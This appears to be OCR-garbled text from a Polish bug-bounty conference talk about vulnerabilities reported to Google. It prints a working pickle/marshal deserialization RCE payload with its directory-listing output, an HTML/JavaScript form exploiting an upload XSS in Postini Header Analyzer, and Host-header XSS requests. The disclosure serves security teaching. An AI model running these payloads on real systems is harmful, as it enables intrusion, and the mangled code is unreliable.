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PlanPrezentacjl

* Organizacyjnie * Technicznie
O co chodzi z bug bounty, « RCE
Statystyki e XSS-y

~arciarski” btad
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Pytania

* Mogag wystgpicC problemy komunikacyjne...
e Zadawajcie pytanie na http://bentkowski.info/q

e Czas na pytania pod koniec prezentaciji

http://bentkowski.info/q
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Organizacyjnie



OProgramachBugBounty

,<Jmowa” pomiedzy firmami, a osobami testujgcymi bezpieczenstwo,
Duza liczba programow bug bounty,

https://hackerone.com/

https://bugcrowd.com/

https://cobalt.io/

Google Vulnerability Reward Program (VRP)

https://www.google.pl/about/appsecurity/reward-program/

http://bentkowski.info/q
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Statystyki
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Technicznie



RCE

* http://www.google.com/training/enroll

* Tak wtasciwie dziata w Google AppEngine
e Sandboksowane srodowisko

http://bentkowski.info/q
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RCE

Y2RhdGV0aW | |ICmRhdGVO0aW I IChAwCihT] I x4
MDdceGRmXHgwN | x4MDdceDAWXHgwMFx4MDBceDAwWXHg
WMFx4MDANRCnAXCnRwMgpScDMKLg==
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RCE

"cdatetime\n

datetime\n

pO\n
(S \\x07\\xdf\\x07\\x07\\x00\\x00\\x00\\x00\\x00\\x00"\n
pli\n
tp2\n
Rp3\n
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RCE

* /serializowany obiekt przy pomocy pythonowego modutu pickle

Warning: The pickle module is not secure
against erroneous or maliciously constructed

data. Never unpickle data received from an
untrusted or unauthenticated source.

http://bentkowski.info/q
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RCE

* Modut pickle pozwala wykonywac dowolng metode w dowolnym module.
* Np. 0s.system.
 Metoda _ reduce_

http://bentkowski.info/q
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RCE

import pickle, OS

class A(object):
def reduce (self):
return (os.system, ("1ls -1a",))

def main():
print repr(pickle.dumps(A()))

T nane — SMa

main(ﬂ

http://bentkowski.info/q
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Running “test.py”...

"cposix\nsystem\np@\n(S'1ls -la'\npl\ntp2\nRp3\n."

http://bentkowski.info/q
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import pickle

total 0

drwxrwxrwt 9 root
drwxr-xr-x@ 6 root
-rw-rw-rw-@ 1 mb

3 mb
_bgivJaTNhiQNhgxc=
3 mb

3 mb
drwxr-xr-x 3 mb
Srwxr-xr-x 1 mb
SIrwXxr-xr-x 1 mb

wheel
wheel
wheel
wheel

wheel
wheel
staff
wheel
wheel

306 7
204 14

0 i
102 7

102
102 19
102 23
0 19
U 7

19

RCE

pickle.loads("cposix\nsystem\np0O\n(S'ls -la'\npl\ntp2\nRp3\n.")

lis
lis
lis
lis

paz
paz
paz
paz
lis

14:20

2014
10:21
10250

21:18
21:18
19:56
21:18
14:20

.keystone install lock
KSOutOfProcessFetcher.501 . HVXI9pQwBk

com.apple.launchd.7rYJwl3sG4

com.apple.launchd.Ru3uhWgZwVv

noticeboard

steam chrome shmem mb spid285
textmate-501.sock
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RCE

def £():
print 123"

f.func_code

<code object f at 0x102bd%eb0, file "<ipython-input-5-95764d8e3elf>", 1li
ne 1>

eval(f.func_code)
123

http://bentkowski.info/q
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pickle.dumps(£f.func_code)

Traceback (most recent call last)
<ipython-input-18-f2aa5cc0décc> in <module>
~~~~> 1 pickle dumps £ func_code

/Users/mb/anaconda/lib/python2.7/pickle.pyc in dumps
1372 def dumps obj protocol None

1373
-> 1374
1375
1376

file StringIO
Pickler file protocol dump obj
return file getvalue

/Users/mb/anaconda/lib/python2.7/pickle.pyc in dump

ryy.
223
-—> 224
225
226

if self proto 2

self write PROTO @ chr self proto
self save obj
self write STOP

/Users/mb/anaconda/lib/python2.7/pickle.pyc in save

304
305
-=> 306
307
308

68
69
—= G
71

reduce  getattr obj None
1if reduce
rv  reduce self proto
else
reduce  getattr obj None
/Users/mb/anaconda/lib/python2.7/copy reg.pyc in reduce ex
else
if base is self._ class___
raise TypeError base
state Dbase self
args self _ class__  base state

12

can't pickle code objects

name

tkowski.info/q
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RCE

import marshal

marshal.dumps(£f.func_code)

'c\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00C\x00\x00\x00s\t\x00\
x00\x00d\x01\x00GHd\x00\x00S (\x02\x00\x00\x00Nt\x03\x00\x00\x00123 (\x00\x00\x00\
x00 (\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x1e\x00\x00\x00<ipython-
input-5-95764d8e3elf>t\x01\x00\x00\x00£\x01\x00\x00\x00s\x02\x00\x00\x00\x00\x01

http://bentkowski.info/q
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RCE

marshal.loads("zserializowana funkcja")

http://bentkowski.info/q
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RCE

eval(marshal.loads(,,zserializowana_funkcja”))

http://bentkowski.info/q
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#!/usr/bin/env python
import pickle, os, marshal

def evil():
import os
print "Hacked!"
print os.listdir("/")

class A(object):
def  reduce (self):
return (eval, (B(),))

class B(object):
def  reduce_ (self):
return (marshal.loads, (marshal.dumps(evil.func_code),))

def main():
print repr(pickle.dumps(A()))
B ahane = AT
main()
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RCE

"c¢__builtin_\neval\npO\n(cmarshal\nloads\npl\n(S'c\\x00\\x00\\x00\\x00\\x01\\x0
0\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s#\\x00\\x00\\x00d\\x01\\x00d\\x0
0\\x001\\x00\\x00}\\x00\\x00d\\x02\\x00GH | \\x00\\x003j\\x01\\x00d\\x03\\x00\\x83\
\x01\\x00GHA\\x00\\x00S (\\x04\\x00\\x00\\x00Ni\\ x££\ \ x££\ \ x££\ \xf£s\\x07\\x00\\x
00\\x00Hacked!t\\x01\\x00\\x00\\x00/ (\\x02\\x00\\x00\\x00t\\x02\\x00\\x00\\x000s
t\\x07\\x00\\x00\\x001istdir(\\x01\\x00\\x00\\x00R\\x01\\x00\\x00\\x00(\\x00\\x0
0\\x00\\x00(\\x00\\x00\\x00\\x00s\\x11\\x00\\x00\\x00/Users/mb/test.pyt\\x04\\x0
0\\x00\\x00evil\\x04\\x00\\x00\\x00s\\x06\\x00\\x00\\x00\\x00\\x01\\x0c\\x01\\x0
5\\x01'\np2\ntp3\nRp4\ntp5\nRp6\n."

http://bentkowski.info/q
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L EC

import pickle

pickle.loads("c__builtin__\neval\np0O\n(cmarshal\nloads\npl\n(S'c\\x00\\
x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00C\\x00\\x00\\x00s#\\x00\\x(
0\\x00d\\x01\\x00d\\x00\\x001\\x00\\x00}\\x00\\x00d\\x02\\x00GH | \\x00\\x005j\\x01
\\x00d\\x03\\x00\\x83\\x01\\x00GHA\ \x00\\x00S (\\x04\\x00\\x00\\x00Ni\\x££\\x£f£\\
xfE\\xf£s\\x07\\x00\\x00\\x00Hacked!t\\x01\\x00\\x00\\x00/ (\\x02\\x00\\x00\\x00t
\\x02\\x00\\x00\\x000st\\x07\\x00\\x00\\x001istdir(\\x01\\x00\\x00\\x00R\\x01\\x
00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00s\\x11\\x00\\x00\\x00/Userx
s/mb/test.pyt\\x04\\x00\\x00\\x00evil\\x04\\x00\\x00\\x00s\\x06\\x00\\x00\\x00\\
x00\\x01\\x0c\\x01\\x05\\x01'\np2\ntp3\nRp4\ntp5\nRp6\n.")
Hacked!
['.dbfseventsd’', '.DocumentRevisions-V100', '.DS Store', '.file', '.fseventsd’,
'.OSInstallerMessages', '.PKInstallSandboxManager', '.Spotlight-V100', '.Trashes
', '.vol', 'Applications', 'bin', 'cores', 'Dane uz\xcc\x87ytkownika', 'dev', 'e
tc', 'home', 'installer.failurerequests', 'Library’', 'net', 'Network', 'opt', 'r
rivate', 'sbin', 'System’', 'tmp', 'Users’', 'usr', 'var', 'Volumes']

http://bentkowski.info/q
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RCE

* Whnioski?

* Nigdy nie deserializujemy danych z niezaufanych zrodet.

http://bentkowski.info/q
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NieaktualneOprogramowanie

* QuickOffice - pakiet biurowy
* Nabyty przez Google w 2012 roku

* Potaczony z Google Docs w 2014
* Lecz wcigz zyje...

http://bentkowski.info/q
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NieaktualneOprogramowanie

 issues.quickoffice.com i issues2.quickoffice.com hostowaty JIRE

* https://confluence.atlassian.com/jira/jira-security-
advisory-2014-02-26-445188412.html



http://bentkowski.info/q
http://issues.quickoffice.com
http://issues2.quickoffice.com
https://confluence.atlassian.com/jira/jira-security-advisory-2014-02-26-445188412.html

Nieakt

 Issues.quickoffice

JIRA S;:Utzy Ad.viso?y 201:02?26 B m Owa n I e

This advisory details critical security vulnerabilities that we have found in JIRA and fixed i

« Customers who have downloaded and installed JIRA should upgrade their exis
vulnerabilities.

« Atlassian OnDemand customers have been upgraded with the fixes for the issue ky J I R E

These vulnerabilities affect all versions of JIRA up to and including 6.1.3.

® httDS //CO nﬂ UeNCE Atljassiap is committed to improving product security. We fully support the reporting of v
advisory-2014-02 italsshintaitteatl

If you have questions or concerns regarding this advisory, please raise a support request

» Issue 1: Path traversal in JIRA Issue Collector plugin (Windows only)
o Severity
o Description
o Risk Mitigation

o Fix

« Issue 2: Path traversal in JIRA Importers plugin (Windows only)

o Severity
o Description
o Risk Mitigation
o Fix
» Issue 3: Privilege escalation
o Severity
o Description
o Risk Mitigation

o Fix

http://bentkowski.info/q
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Nieaktupiaatiraseamowanie

This advisory details critical security vulnerabilities that we have found in JIRA and fixed i

« Customers who have downloaded and installed JIRA should upgrade their exis
vulnerabilities.

« Atlassian OnDemand customers have been upgraded with the fixes for the issue "y J I R E

 Issues.quickoffice

These vulnerabilities affect all versions of JIRA up to and including 6.1.3.

- Atlaceian i@ rnmmittad tn imnravinn nracdiict caciirity Wa fuilly 2iinnnrt tha ranartinn oof v

Hi,

Jira ver. 6.0.2 is hosted on both issues2.quickoffice.com and issues.quickoffice.com. According
to recent security advisory [1], it might be vulnerable to three critical flaws. Although the first two
bugs probably won't affect these instances (as it's not very likely they're hosted on Windows),

the third one - privilege escalation - might be doable.

o Severity

o Description
o Risk Mitigation
o Fix

http://bentkowski.info/q


http://bentkowski.info/q
http://issues.quickoffice.com
http://issues2.quickoffice.com
https://confluence.atlassian.com/jira/jira-security-advisory-2014-02-26-445188412.html

NieaktupianfMyaaeagmowanie

This advisory details critical security vulnerabilities that we have found in JIRA and fixed i

« Customers who have downloaded and installed JIRA should upgrade their exis
vulnerabilities.

« Atlassian OnDemand customers have been upgraded with the fixes for the issue "y J I R E

 Issues.quickoffice

These vulnerabilities affect all versions of JIRA up to and including 6.1.3.

- Atlaceian i@ rnmmittad tn imnravinn nracdiict caciirity Wa fuilly 2iinnnrt tha ranartinn oof v

** NOTE: This is an automatically generated email **

Hello,

Thank you for reporting this bug. As part of Google's Vulnerability Reward Program, the panel
has decided to issue a reward of $1337.

3-02-20

o Severity

o Description

o Risk Mitigation
o Fix

http://bentkowski.info/q
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XSSprzezUploadPliku

e MOQj ulubiony XSS
* Postini Header Analyzer (http://www.google.com/postini/headeranalyzer)

* Wikipedia: ,Postini was an e-mail, Web security, and archiving service owned by
Google since 2007. It provided cloud computing services for filtering e-mail spam and
malware (before it was delivered to a client's mail server), offered optional e-mail
archiving, and protected client networks from web-borne malware.”

http://bentkowski.info/q
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XSSprzezUploadPliku

MOQj ulubiony XSS
Postini Header Analyzer (http://www.google.com/postini/headeranalyzer)

Wikipedia: ,Postini was an e-mail, Web security, and archiving service owned by
Google since 2007. It provided cloud computing services for filtering e-mail spam and
malware (before it was delivered to a client's mail server), offered optional e-mail
archiving, and protected client networks from web-borne malware.”

X-pstn-levels: (S: 0.00000/60.95723 CV:99.9000 R:95.91080 P:

95.91081 M:64.93900 C:93.23770 )
X-pstn-settings: 5 (2.00000:8.00000) rp M ¢

http://bentkowski.info/q
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XSSprzezUploadPliku

Copy and paste your header here:

New Upload Messages/Headers:

Supported file types: msg, txt, zip, tar, gz, mbox, eml|
Wybierz plik Nie wybrano pliku

Analyze Message

http://bentkowski.info/q



http://bentkowski.info/q

XSSprzezUploadPliku

Google Help » Postini Help » Postini Message Analyzer

Analysis of Submitted Postini Message
=) Postini Message Analysis Summary for -- plik1.txt

b ¢ This message did not go through the Postini Service.

b 4 This message did not go through Spam, Virus, or Content Filtering, or the header is incomplete.
® Message Analysis Details

=) Message Data

Only First 3500 Characters are displayed:

Zawartoscl

= Postini Message Analysis Summary for - plik2.test

~ ERROR: Not a supported file/message

For your reference, here are the links to the documentation and the informational video:

e Interpret message header tags.
o Troubleshooting spam getting through. Analyze More Messages
 How to respond when users are getting spam.

http://bentkowski.info/q



http://bentkowski.info/q

XSSprzezUploadPliku

Google Help » Postini Help » Postini Message Analyzer

00O test — bash — 80x24
bash

pc83:test mb$ cat > '<svg onload=alert(1l)>'
Test.
pc83:test mb$ zip test.zip './<svg onload=alert(1l)>'

adding: <svg onload=alert(1l)> (stored 0%)
pc83:test mb$

lerpret message header taqgs.
o Troubleshooting spam getting through.
« How to respond when users are getting spam.

Analyze More Messages

http://bentkowski.info/q
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XSSprzezUploadPliku

* To XSS przez formularz uploadu...
* Wiec zawsze pojawia sie okienko dialogowe.

e Scenariusz ataku?
« Atakujacy przesyta ztosliwie przygotowany plik do ofiary

Atakujacy zacheca ofiare do przejscia do ztosliwie przygotowanej witryny
Ofiara musi klikng¢ na wybor pliku i RECZNIE wybrac plik otrzymany wczesniej od atakujgcego

Ofiara musi potwierdzi¢ jeszcze upload pliku

http://bentkowski.info/q
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XSSprzezUploadPliku

* Czy mozemy sprawic, ze wykonamy zwykte zapytanie POST, ktore z punktu
widzenia przegladarki nie bedzie zawierac pliku, zas z punktu widzenia serwera
owszem?

205726039188865803286720755
Content-Disposition: form-data; name="file 1"; filename="test.zip"
Content-Type: application/zip

PK
1a9F0<0@ <svg onload=alert(1l)>UT MTMTux @ Test.

PK

la9FQO<QO© ©QO<svg onload=alert(l)>UT Q@Q@YTux € PK [U
205726039188865803286720755

Content-Disposition: form-data; name="sendl"

Analyze Message
205726039188865803286720755--

http://bentkowski.info/q
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XSSprzezUploadPliku

* Czy mozemy sprawic, ze wykonamy zwykte zapytanie POST, ktore z punktu
widzenia przegladarki nie bedzie zawierac pliku, zas z punktu widzenia serwera
owszem?

205726039188865803286720755
Content-Disposition: form-data; name="file 1"; filename="test.zip"
Content-Type: application/zip

PK
1a9F0<0@ <svg onload=alert(1l)>UT MTMTux 0 Test.

PK

la9F@Q<@Q€© ©O<svg onload=alert(l)>UT @Q@Q@Tux € PK [U
205726039188865803286720755

Content-Disposition: form-data; name="sendl"

Analyze Message
205726039188865803286720755--

http://bentkowski.info/q
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XSS .zezUploce 'Pliku

e Czy mozem\ IWIC, Ze W _ my zwykte zapytanie POST, Z punktu
widzenia prz darki nie bev ‘wierac pliku, zas z punktu v nia serwera
owszem?

60391888658032867207F
Content osition: form-dat¥ ="file 1"; filename
Content : application/zip

PK
svg onload=alert(1l)>UT

1a9F Q<@ Pp<svg onload=alert(1l)>UT
205726039188%
lon: form-data; name="send

Analyze Messal

http://bentkowski.info/q
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XSSprzezUploadPliku

* W aplikacji Content-Disposition byt najpierw ,splitowany” po sredniku!
e <input name="file_1; name=file_1; filename=test.zip; a">
* Content-disposition: form-data; name="file_1; name=file_1; filename=test.zip; a"

http://bentkowski.info/q
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XSSprzezUploadPliku

* W aplikacji Content-Disposition byt najpierw ,splitowany” po sredniku!
e <input name="file_1; name=file_1; filename=test.zip; a">
* Content-disposition: form-data; name="file_1; name=file_1; filename=test.zip; a"

name="file_1; name=file_1; filename=test.zip; a"

http://bentkowski.info/q
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XSSprzezUploadPliku

* W aplikacji Content-Disposition byt najpierw ,splitowany” po sredniku!
e <input name="file_1; name=file_1; filename=test.zip; a">
* Content-disposition: form-data; name="file_1; name=file_1; filename=test.zip; a"

nama=tfila 1. nemc fic 0, niendrie=test.zip; a"

http://bentkowski.info/q
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XSSprzezUploadPliku

* W aplikacji Content-Disposition byt najpierw ,splitowany” po sredniku!
e <input name="file_1; name=file_1; filename=test.zip; a">
* Content-disposition: form-data; name="file_1; name=file_1; filename=test.zip; a"

name="fila 1. nomc thc 0, menarne=test.zip; a“

name="file_1; name=file_1; filename=test.zip; a"

http://bentkowski.info/q
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XSSprzezUploadPliku

197190388818210051121843463987
Content-Disposition: form-data; name="x; name=file 1; filename=XS8S.zip; "

PK

http://bentkowski.info/q
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XSSprzezUploadPliku

WebKitFormBoundaryIIxBrnZAnllQOMwsm

Content-Disposition: form-data; name="x; name=file 1; filename=XS8S.zip; "

PK

la9F&#179;<&#175; &#182; <svg onload=alert(1l)>UT QOOTOOOTuUx &#245;
PK

1la9F&#179;<&#175; &#182; €@€W<svg onload=alert(1l)>UT Q@@OQOQTux &#245; PK [U

Test.
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XSSprzezUploadPliku

Chrome probowat interpretowac dane w jakims kodowaniu
Nieznana sekwencja bajtow w tym kodowaniu? Uzyjmy encji HTML!
0x00 - Ox9F - dopuszczalne bajty

Pozostate (OxAO - OxXFF) - zabronione bajty (znaki)

Problem z ZIP-em. Sprobujmy TAR.

http://bentkowski.info/q
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XSSprzezUploadPliku

postini — bash — 80x24

bash

mbmb : postini

00000000
00000010
00000020
*

00000060
00000070
00000080
00000090
000000a0
*

00000100
00000110
00000120
00000130
00000140
00000150
00000160
*

00000200
00000210

*

00000800

3c
74
00

00
36
30
37
00

00
00
00
00
00
00
00

3a
00

mb$ hexdump

73
28
00

00
35
30
30
00

75
00
00
00
00
30
00

29
00

76
31
00

00
20
30
30
00

73
00
00
00
00
30
00

Oa
00

67
29
00

00
00
30
20
00

74
00
00
00
00
30
00

00
00

20
3e
00

30
30
30
30
00

61
00
00
00
00
30
00

00
00

proba.tar

6e
00
00

30
30
33
34
00

00
00
00
00
00
30
00

00
00

6C
00
00

36
30
20
33
00

30
00
00
00
00
20
00

00
00

6f
00
00

34
32
31
31
00

30
00
00
00
00
00
00

00
00

61
00
00

34
34
32
37
00

6d
00
73
00
30
00
00

00
00

64
00
00

20
20
34
00
00

62
00
74
00
30
00
00

00
00

3d
00
00

00
00
36
20
00

00
00
61
00
30
00
00

00
00

61
00
00

30
30
30
30
00

00
00
66
00
30
00
00

00
00

6c
00
00

30
30
37
00
00

00
00
66
00
30
00
00

00
00

65
00
00

30
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Help Center Home Google Help » Postini Help » Postini Message Analyzer

Help forum Analysis of Submitted Postini Message

Instructor-Led
Webinars

Postini Services

P powered by
<= ¥ Gocgle App Engine

= Postini Message Analysis Summary for --

FES ERROR: Not a supported file/message

Fof your reference, here are the links to the documentation and the informational video:
Interpret message header tags.

e Troubleshooting spam getting through. Analyze More Messages
o How to respond when users are getting spam.

ork Sources Timeline Profiles Resources Audits | Console D4 D= ﬁ- [:l‘x

v Preserve log

© The XSS Auditor refused to execute a script in 'http://www.google.com/postini/headeranalyzer/' because its source

code was found within the request. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-
Security-Policy' header.

index) :130
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Struktura pliku GZIP

10-bajtowy nagtowek
Body - zawierajgce strumien Deflate

Ostatnie 8 bajtéw - suma CRC32 i rozmiar pliku

Nagtowek - nie ma zabronionych znakow
Ostatnie 8 bajtow - tatwo zmodyfikowac plik, aby nie byto zabronionych znakow
Body?

https://github.com/molnarg/ascii-zip

»A deflate compressor that emits compressed data that is in the [A-Za-z0-9] ASCII byte range.”
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mbmb:test mb$ hexdump -C output.tar.gz

00000000 1f 8b 08 41 41 41 41 41 41 41 44 30 55 70 30 49 « « «AAAAAAADOUPOI |
00000010 5a 55 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e |ZUnnnnnnnnnnnnnn|
00000020 6e 6e 6e 6e 6e 55 55 35 6e 6e 6e 6e 6e 6e 33 53 |nnnnnUUSHnnnnn3S|
00000030 55 55 6e 55 55 55 77 43 69 75 64 49 62 45 41 74 |UUNUUUwWCiudIbEAt|
00000040 33 33 77 57 44 74 44 44 44 74 47 44 74 73 77 44 | 33wWDLDDDtGDtswD|
00000050 44 77 47 30 73 74 70 44 44 74 47 77 77 44 44 77 |DwGOstpDDtGwwDDw |
00000060 77 44 33 33 33 33 33 73 77 30 33 33 33 33 33 67 |wD33333sw033333g]|
00000070 46 50 71 49 6d 4f 7f 5b 41 57 67 7b 57 63 73 54 |FPQImO.[AWg{Wcs]|
00000080 63 7b 4b 77 6f 61 59 51 7d 48 48 48 48 48 48 48 |c{KwoaYQ)}HHHHHHH |
00000090 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 |HHHHHHHHHHHHHHHH |
*

00000040 48 48 48 48 48 48 69 69 69 75 65 65 41 48 69 69 |HHHHHHiiiueeAHii|
000000e0 69 4d 75 55 41 48 69 69 69 69 79 65 41 48 69 69 |iMuUAHiiiiyeAHii|
000000£0 69 69 69 69 69 69 69 69 75 41 59 79 65 75 59 59 |iiiiiiiiuvAYyeuYY|
00000100 65 4d 45 55 75 41 69 59 65 65 75 59 48 41 69 48 |eMEUuAiYeeuYHAiH|
00000110 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 |HHHHHHHHHHHHHHHH |
*

00000170 48 48 48 5f 4f 6f 63 77 48 69 69 47 53 48 48 48 |HHH OocwHiiGSHHH|
00000180 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 |HHHHHHHHHHHHHHHH |
00000190 48 48 48 48 48 48 48 48 48 48 48 4f 6f 63 6b 6b |HHHHHHHHHHHOOCkK|
000001a0 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 |HHHHHHHHHHHHHHHH |
000001b0 48 48 48 48 48 48 48 48 48 48 48 69 69 69 69 69 |HHHHHHHHHHHiiiiil|
000001c0 69 41 48 69 69 69 69 69 69 41 48 48 48 48 48 48 |iAHiiiiiiAHHHHHH|
000001d0 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 |HHHHHHHHHHHHHHHH |
>

00000270 48 48 43 4b 4f 6f 71 S5c 48 48 48 48 48 48 48 48 |HHCKOoq\HHHHHHHH |
00000280 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 |HHHHHHHHHHHHHHHH |
*

00000870 48 48 48 48 48 48 48 48 48 48 48 48 08 64 66 0Oe |HHHHHHHHHHHH.df. |
00000880 1a Ob 08 00 00 lecees |

00000885
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XSS UploadPlik
<html|>
<body>

<form action="http://www.google.com/postini/headeranalyzer/" method="POST" enctype="multipart/form-data">

<input type="hidden" name="x; name=file_ |; filename=abc.tar.gz; " id="vulnerable" value="" />

<input type="submit" value="XSS @ google.com" />

</form>
<script>
var tarfile = "\xI1f\x8b
\x08AAAAAAADOUpOIZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUNUUUwWCiudIbEAt33wWDtDDDtGDtswDDwG0stpDDtGwwDDwwD33333sw033333
gFPqImO\X7f[AWg{Wcs]c{KwoaYQ}
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHi iiueeAHiiiMuUAHi

HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHCKO0q\\HH... HHHH\x08df\x0e\x | a\x0b\x08\x00\x00";

var vuln = document.getElementByld('vulnerable’);
vuln.value = (tarfile);

</script>

</body>

</htm|>
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https://www.youtube.com/watch?v=jiQOY GXxw | 4
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XSSprzezUploadPliku

Whioski?

Watrto doktadnie analizowac zachowanie webserwerow, czasem moze bycC
hietypowe.

Nie ograniczajmy sie do ulubionej przegladarki, cos co nie dziata w jednej, moze
zadziatac w Innej.
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* Znany btad w Internet Explorerze
«  Odkryt go Sergey Bobrov (@black2fan) w 2013

e Google dziwnie interpretuje nagtowek Host.
* Polowanie czas zaczac!
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HTTP/I.1 302 Found

Date: Fri, 06 Mar 2015 08:35:32 GMT
Server:Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.36-0+deb/u3
Location: http://example.com/login.php
Vary:Accept-Encoding
Content-Length: 0

Connection: close

Content- Type: text/html
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XSSprzezNagtowekHost

HTTP/I.1 302 Found

Date: Fri, 06 Mar 2015 08:35:32 GMT
Server:Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.36-0+deb/u3
Location: http://example.com?%2Flogin.php
Vary:Accept-Encoding

Content-Length: 0

Connection: close

Content- Type: text/html
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GET /login.phphp/ HTTP/|.1

Accept: text/html, application/xhtml+xml, */*
Accept-Language: pl-PL

User-Agent: Mozilla/5.0 (Windows NT 6.3;
WOW64; Trident/7.0; rv: 1 1.0) like Gecko
Accept-Encoding: gzip, deflate

Host: example.com/login.php

DNT: |

Connection: Keep-Alive

Cache-Control: no-cache
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Jak Google parsuje nagtowek Host.

ost: www.goog

e.com -> dziata

Ost: www.goog

e.com/test -> nie dziata

ost: www.goog

e.com:80 -> dziata

ost: www.goog

e.com:80<cokolwiek> -> tez dziata!

XSSprzezNagtowekHost
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http://www.google.com

Request

GET / HTTP/1.1
Host: mail.google.com: 30asd’

User-Agent:

Mozil

Raw Headers Hex

la/5.0 (Mac¥wtosh;

Gecko/20100101 Firefox/35.0

Accept:

Intel Mac OS X 10.10; rv:35.0)

text/html,application/xhtml+xml,appli®ation/xml;g=0.9,*/*;g=0.8
Accept-Language:
Accept-Encoding: gzip, deflate

Connection:

close

en-GB,en;g=0.5

XSSprzezNagtowekHost

Response

| I Headers Hex HTML Render

HTTP/1.1 200 OK

Cache-Control: private, max-age=604800
Expires: Sun, 01 Feb 2015 20:41:31 GMT
Date: Sun, 01 Feb 2015 20:41:31 GMT
Refresh: O;URL=https://mail.google.com:30asd'/mail/
Content-Type: text/html; charset=IS0-8859-1
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-X88-Protection: 1l; mode=block
Content-Length: 254

Server: GSE

Alternate-Protocol: 443:quic,p=0.02
Connection: close

<html><head><meta http-equiv="Refreszsh" 4,//’///

content="0;URL=https://mail.google.com: 30asd&#39; /mail/"
/></head><body><script type="text/javascript"
language="javascript"><!--
location.replace("https://mail.google.com:30asd\47 /mail/")
--></script></body></html>
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Request Response

Params Headers Headers Hex HTML Render

GET /cse/tools/create onthefly HTTP/1.1 <textarea cols="75" rows="8" readonly="readonly" wrap="off">
Host: 2 ipt: ipt>

User-Agent: uolela/s 0 (Macintosh; Intel Mac OS X 10 10; 3 < jse of thils code assumes agreement with the
Gecko/20100101 Firefox/35.0 5 ' vk ;
Accept:

o ] v .
. ~ / > 4~
OCoogie LUSLOoMm

availlilaoie ac

text/html,application/xhtml+xml,application/xml;q=0.9,*/* htitpz// google.com:443/</textarea><s«
Accept-Language: en-GB,en;qg=0.5 . f ' .
Accept-Encoding: gzip, deflate <form name="cse" id="searchbox demo"

Connection: keep-alive action="http://www.google.com/cse">
<input type="hidden" name="cref" wvalue="" />
<input type="hidden" name="ie" value="utf-8" />
<input type="hidden" name="hl" value="" />
<input name="g" type="text" size="40" />
<input type="submit" name="ga" value="Search" />
</form>
<script type="text/javascript"
src="https://www.google.com:443/</textarea><scriptralert(l)</scri
pt>/cse/tools/onthefly?form=searchbox demo&amp; lang="></script>
</textarea><br />
<span class="gray">Use of this code assumes agreement with
the Google Custom Search <a
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HTTP/l.1 302 Found

Server:Apache/2.2.22 (Debian)
Location: https://www.google.com73a4437%2fcse%2ftools

%2fcreate_onthefly%3b%3c%2ftextareaZ%3e%3cscript
Zo3ealert(1)7%3c%2fscript73e

Host: www.google.com:443/cse/tools/create onthefly;</
textarea><script>alert(l)</script>
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L ’[8 https://www.google.com/cse/tools/create_onthefly;%:3C; O ~ & C ‘ BEJ google.com

Internet Explorer has modified this page to help prevent cross-site scripting.
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Request

GET /test/.

./test

I l Headers Hex

2 HTTP/1.1

Host: www.google.co

User-Agent:

Mozil

la/5.0 acintosh;

Gecko/20100101 Firefox/35.0Phone3df

Accept:

Intel Mac 08 X 10.10;

rv:35.0)

text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;q9=0.8
Accept-~Language:
Accept-Encoding: gzip, deflate

Connection:

close

en-GB,en;q=0.5

Response

| I Headers Hex HTML

HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8
Location: https://www.google.com/test2
Content-Length: 225

Date: Sun, 01 Feb 2015 20:45:05 GMT
Server: GFE/2.0

Connection: close

<HTML><HEAD><meta http-equiv="content-type"
content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</Hl>

The document has moved

XSSprzezNagtowekHost

Render

<A HREF="https://www.google.com/test2">here</A>.

</BODY></HTML>
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Request

l I Params Headers Hex

GET /test/;/../test2 HTTP/1.1
Host: www.google.com

User-Agent: Mozilla/5.0s (Macintosh; Intel Mac OS5 X 10.10; rv:35.0)

Gecko/20100101 Firefox/35.0 iPhone3df
Accept:

text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8
Accept-Language: en-GB,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close

XSSprzezNagtowekHost

Response

Headers Hex HTML Render

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
Content-Length: 1430
Date: Sun, 01 Feb 2015 20:45:21 GMT
Server: GFE/2.0
Connection: close
<SDOCTYPE hitml>
<html lang=en>

<meta charset=utf-8>

<meta name=viewport content="initial-scale=1l, minimum-scale=],
width=device-width">

<title>Error 404 (Not Found)!!1</title>

<style>

*{margin:0;padding:0}html, code{font:15px/22px

arial,sans-serif}html {background: #fff;color:#222;padding:15px}body
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http://test.pl/<svg/onload=alert(l)/../../

http://test.pl/
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Location: https://www.google.com7%3a4437%2fcse%2ftools

%2fcreate onthefly7%3b%3c%2ftextarea’%3e%3csvgZ%2fonload
%3dalert%28document%2edomain?%297%3e%3b7%2{%2e%2e%2{%2e

%02e%2f%2e%2e7%2f%2e%2e7%2%2e%2e%2{72e7%2e7%2f 7% 2e %27 2f
%02e%2e%2(%2e%2e%2%2e7%2e7%2f%2e%2e 7% 2{%2e%2e% 2% 2e%2e

702f702e7%2e7%2f

